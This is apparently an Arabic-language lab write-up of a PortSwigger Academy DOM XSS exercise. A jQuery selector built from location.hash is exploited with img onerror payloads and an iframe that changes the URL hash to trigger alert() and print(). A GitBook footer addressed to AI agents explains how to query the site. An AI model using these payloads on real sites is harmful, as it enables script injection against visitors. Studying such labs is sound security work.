> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xss/dom-xss-with-jquery-hashchange-event.md).

# DOM XSS مع jQuery وhashchange

### ثغرة XSS في DOM في منفذ مُحدِّد jQuery باستخدام حدث hashchange

تحتوي هذه المختبر على ثغرة XSS من جهة العميل في الصفحة الرئيسية. يستخدم الكود `$()` دالة التحديد في jQuery لاستهداف مقال تلقائيًا يكون عنوانه قد تم تمريره عبر `location.hash`. هدف المختبر هو الحصول على استغلال يقوم، عندما يفتحه زائر، باستدعاء `print()` في متصفحه.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* تسترجع الدالة جزء عنوان URL (`window.location.hash`)، ثم تزيل `#` بـ `slice(1)` وتفك ترميزه باستخدام `decodeURIComponent`.
* ثم يُدمج هذا النص مباشرةً في مُحدِّد jQuery `:contains(...)` وبما أنه لا توجد أي عملية هروب للرموز، يمكن للمحتوى المُنشأ خصيصًا أن يكسر الصياغة ويحقن HTML/JS عبر متجهات مثل `onerror` السمات.
* لا يفعّل الكود الإجراء إلا عند تغيّر الهاش (`hashchange`)، لذا فإن رابطًا أوليًا بسيطًا من دون هاش لن يفعّل أي شيء حتى يتم تغيير الجزء على جانب المستخدم.

<figure><img src="/files/ef8a18d50bb6df15a806a82ae83e9d7bdff59ebe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8b0efe9634926345dd3991026ea6668ae03dfce1" alt=""><figcaption></figcaption></figure>

* نستفيد من حقيقة أن تعديل `#` يؤدي إلى تشغيل الحدث. لذلك يجب أن يفرض الاستغلال على متصفح الضحية تحميل عنوان URL يتضمن جزءًا يحتوي على الحمولة.
* الطريقة الشائعة هي استخدام `<iframe>` يشير إلى الصفحة المستهدفة، ثم أثناء `onload`، يتم تعديل `src` ديناميكيًا لإضافة الجزء الخبيث (مما سيؤدي إلى `hashchange` وتنفيذ المحدد الضعيف).
* يجب أن تتسبب الحمولة المحقونة في `print()` تنفيذها في سياق الضحية.

حقن أساسي للتسبب في خطأ صورة (اختبار):

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/5a236f2d351aee8adb6aad34a11ea17bc1d2d91f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c40881e3ea803ba518d1a644a6bc163e32a9a918" alt=""><figcaption></figcaption></figure>

* استغلال عبر iframe — النسخة الأولى (alert):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* الاستغلال النهائي لـ `print()` (نسخة معدلة):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/aedfe2f3a29b7bb180db7b3f9dc7d4383f1a8b0a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
